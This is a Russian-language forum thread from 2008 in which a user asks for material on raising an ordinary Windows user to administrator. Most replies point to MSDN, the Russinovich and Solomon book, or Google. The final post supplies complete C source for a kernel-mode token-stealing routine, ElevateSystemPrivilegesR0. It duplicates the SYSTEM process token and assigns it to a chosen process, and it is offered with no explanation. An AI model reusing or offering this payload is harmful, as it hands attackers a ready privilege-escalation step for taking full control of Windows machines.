Повышение прав

Тема в разделе "WASM.WIN32", создана пользователем protein, 11 ноя 2008.

  1. protein

    protein New Member

    Публикаций:
    0
    Регистрация:
    1 мар 2006
    Сообщения:
    17
    Адрес:
    Russia
    Знаю, что тема неоднократно поднималась, но все же надеюсь, что получу здесь источники для пополнения своих скромных знаний в этом вопросе.
    Интересуют в первую очередь исходники, примеры, статьи по повышению прав обычного пользователя до администратора. Также книжки по внутреннему устройству безопасности в данных OS Windows 2000, 2003, XP.
     
  2. only

    only New Member

    Публикаций:
    0
    Регистрация:
    21 окт 2008
    Сообщения:
    147
     
  3. wasm_test

    wasm_test wasm test user

    Публикаций:
    0
    Регистрация:
    24 ноя 2006
    Сообщения:
    5.582
    смотри инфу по багам :) я не знаю что ты уконкретно имеешщь в виду под "исходниками, примерами, статьями по повышению прав обычного пользователя до администратора".
    Что именно требуется? При каких то багах как юзать? Или как баги искать? Или как легально ввести пароль администратора и получить токен?
     
  4. beginner

    beginner New Member

    Публикаций:
    0
    Регистрация:
    18 янв 2008
    Сообщения:
    233
    Есть отличный ресурс по данному вопросу, статьи, книжки и даже видеоуроки!
     
  5. al79

    al79 Алексей

    Публикаций:
    0
    Регистрация:
    11 май 2006
    Сообщения:
    133
    Адрес:
    Екатеринбург
    А где этот ресурс?
     
  6. protein

    protein New Member

    Публикаций:
    0
    Регистрация:
    1 мар 2006
    Сообщения:
    17
    Адрес:
    Russia
    Мне нужно именно информацию по данной теме. Конкретика сформируется позже, пока только собираю базу для формирования собственного представления.
    Вот хотябы где прочитать про устройство безопасности Windows на программном уровне, т.к. уровень UI меня не очень интересует (вершину айсберга созерцать некошерно, нужна суть, т.е. как это все работает)
    Как пример, пользователь пытается войти в систему, она его проверяет (вопрос с помощью каких средств?), проверила, дала токен, далее пользователь запускает программу или ходит по файловой системе (опять же как система обеспечивает проверку прав?) и т.д.
    Т.е. нужен техничекий аспект.
     
  7. censored

    censored New Member

    Публикаций:
    0
    Регистрация:
    5 июл 2005
    Сообщения:
    1.615
    Адрес:
    деревня "Анонимные Прокси"
    msdn.microsoft.com
     
  8. wasm_test

    wasm_test wasm test user

    Публикаций:
    0
    Регистрация:
    24 ноя 2006
    Сообщения:
    5.582
    М.Руссинович, Д.Соломон "Внутреннее устройство Microsoft Windows"
     
  9. beginner

    beginner New Member

    Публикаций:
    0
    Регистрация:
    18 янв 2008
    Сообщения:
    233
    google.com :-$
     
  10. protein

    protein New Member

    Публикаций:
    0
    Регистрация:
    1 мар 2006
    Сообщения:
    17
    Адрес:
    Russia
    Как всегда общие ответы, особенно по поводу google.com. Нет чтобы конкретными ссылками поделиться на хорошие странички, надо обязательно свое фе вставить.

    P.S.
    Большинство поисковых систем на запрос в последнее время выводят либо рекламу, либо хрен знает что. Спасибо SEO за это как черному, так и белому. Сугубо личное ИМХО.
     
  11. wasm_test

    wasm_test wasm test user

    Публикаций:
    0
    Регистрация:
    24 ноя 2006
    Сообщения:
    5.582
    м?
    качаешь книжку, долго куришь её. все вопросы отпадают
     
  12. protein

    protein New Member

    Публикаций:
    0
    Регистрация:
    1 мар 2006
    Сообщения:
    17
    Адрес:
    Russia
    2 Great
    Книжку уже курю.
     
  13. barton

    barton New Member

    Публикаций:
    0
    Регистрация:
    19 июл 2008
    Сообщения:
    164
    Адрес:
    Czechoslovakia
    повышение прав?)

    Код (Text):
    1. #include <windows.h>
    2. #include "../common/nt.h"
    3. #include "../common/utils.h"
    4.  
    5. #include "../common/DbgConsole.h"
    6.  
    7. static ULONG SystemProcessId;
    8. static NTSTATUS (NTAPI * ZwOpenProcess)(OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL);
    9. static NTSTATUS (NTAPI * ZwOpenProcessToken)(IN HANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,OUT PHANDLE TokenHandle);
    10. static NTSTATUS (NTAPI * ZwDuplicateToken)(IN HANDLE ExistingTokenHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN BOOLEAN EffectiveOnly,IN TOKEN_TYPE TokenType,OUT PHANDLE NewTokenHandle);
    11. static NTSTATUS (NTAPI * ZwSetInformationProcess)(IN HANDLE ProcessHandle,IN PROCESSINFOCLASS ProcessInformationClass,IN PVOID ProcessInformation,IN ULONG ProcessInformationLength);
    12. static NTSTATUS (NTAPI * ZwClose)(IN HANDLE Handle);
    13.  
    14. #ifdef R_DEBUG
    15. static VOID (__cdecl * DbgPrint)(LPCTSTR fmt,...);
    16. #else
    17. #define DbgPrint //
    18. #endif
    19.  
    20. // ElevateSystemPrivilegesR0
    21. NTSTATUS NTAPI ElevateSystemPrivilegesR0(IN HANDLE ProcessId)
    22. {
    23.     HANDLE SystemProcessHandle,TokenHandle,ProcessHandle,NewTokenHandle;
    24.     PROCESS_ACCESS_TOKEN Token;
    25.     OBJECT_ATTRIBUTES Attr;
    26.     CLIENT_ID ClientId;
    27.     NTSTATUS st;
    28.  
    29.     if (!ZwOpenProcess || !ZwOpenProcessToken || !ZwDuplicateToken || !ZwSetInformationProcess || !ZwClose)
    30.     {
    31.         return STATUS_ACCESS_VIOLATION;
    32.     }
    33.  
    34. #ifdef R_DEBUG
    35.     if (!DbgPrint) return STATUS_ACCESS_VIOLATION;
    36. #endif
    37.  
    38.     InitializeObjectAttributes(&Attr,0,0,0,0);
    39.     ClientId.UniqueProcess = (HANDLE)SystemProcessId;
    40.     ClientId.UniqueThread = 0;
    41.     st = ZwOpenProcess(&SystemProcessHandle,PROCESS_QUERY_INFORMATION,&Attr,&ClientId);
    42.     if (NT_SUCCESS(st))
    43.     {
    44.         DbgPrint("ZwOpenProcess (SYSTEM) succeeded\n");
    45.         st = ZwOpenProcessToken(SystemProcessHandle,TOKEN_QUERY,&TokenHandle);
    46.         if (NT_SUCCESS(st))
    47.         {
    48.             DbgPrint("ZwOpenProcessToken succeeded, handle : %08x\n",TokenHandle);
    49.  
    50.             st = ZwDuplicateToken(TokenHandle,TOKEN_ASSIGN_PRIMARY,0,FALSE,TokenPrimary,&NewTokenHandle);
    51.             if (NT_SUCCESS(st))
    52.             {
    53.                 DbgPrint("ZwDuplicateToken succeeded\n");
    54.  
    55.                 ClientId.UniqueProcess = ProcessId;
    56.                 st = ZwOpenProcess(&ProcessHandle,PROCESS_SET_INFORMATION,&Attr,&ClientId);
    57.                 if (NT_SUCCESS(st))
    58.                 {
    59.                     DbgPrint("ZwOpenProcess (SPECIFIED) succeeded\n");
    60.  
    61.                     Token.Token  = NewTokenHandle;
    62.                     Token.Thread = 0;
    63.                     st = ZwSetInformationProcess(ProcessHandle,ProcessAccessToken,&Token,sizeof(Token));
    64.                     DbgPrint("ZwSetInformationProcess returned with status %08x\n",st);
    65.  
    66.                     ZwClose(ProcessHandle);
    67.                 }
    68.                 else
    69.                 {
    70.                     DbgPrint("ZwOpenProcess (SPECIFIED) failed with status %08x\n",st);
    71.                 }
    72.  
    73.                 ZwClose(NewTokenHandle);
    74.             }
    75.             else
    76.             {
    77.                 DbgPrint("ZwDuplicateToken failed with status %08x\n",st);
    78.             }
    79.  
    80.             ZwClose(TokenHandle);
    81.         }
    82.         else
    83.         {
    84.             DbgPrint("ZwOpenProcessToken failed with status %08x\n",st);
    85.         }
    86.  
    87.         ZwClose(SystemProcessHandle);
    88.     }
    89.     else
    90.     {
    91.         DbgPrint("ZwOpenProcess (SYSTEM) failed with status %08x\n",st);
    92.     }
    93.  
    94.     return st;
    95. }
    96.  
    97. VOID ElevateInitRoutines(PVOID KernelMappedBase,ULONG KernelBase)
    98. {
    99.     SystemProcessId = FindProcessIdByName("system");
    100.     *(ULONG*)&ZwOpenProcess = GetExportEntry(KernelMappedBase,"ZwOpenProcess")-(ULONG)KernelMappedBase+KernelBase;
    101.     *(ULONG*)&ZwOpenProcessToken = GetExportEntry(KernelMappedBase,"ZwOpenProcessToken")-(ULONG)KernelMappedBase+KernelBase;
    102.     *(ULONG*)&ZwDuplicateToken = GetExportEntry(KernelMappedBase,"ZwDuplicateToken")-(ULONG)KernelMappedBase+KernelBase;
    103.     *(ULONG*)&ZwSetInformationProcess = GetExportEntry(KernelMappedBase,"ZwSetInformationProcess")-(ULONG)KernelMappedBase+KernelBase;
    104.     *(ULONG*)&ZwClose = GetExportEntry(KernelMappedBase,"ZwClose")-(ULONG)KernelMappedBase+KernelBase;
    105. #ifdef R_DEBUG
    106.     *(ULONG*)&DbgPrint = GetExportEntry(KernelMappedBase,"DbgPrint")-(ULONG)KernelMappedBase+KernelBase;
    107.     D_Print("ZwOpenProcess : %08x\nZwOpenProcessToken : %08x\nZwDuplicateToken : %08x\nZwSetInformationProcess : %08x\nZwClose : %08x\nDbgPrint : %08x",
    108.         ZwOpenProcess,ZwOpenProcessToken,ZwDuplicateToken,ZwSetInformationProcess,ZwClose,DbgPrint);
    109. #endif
    110. }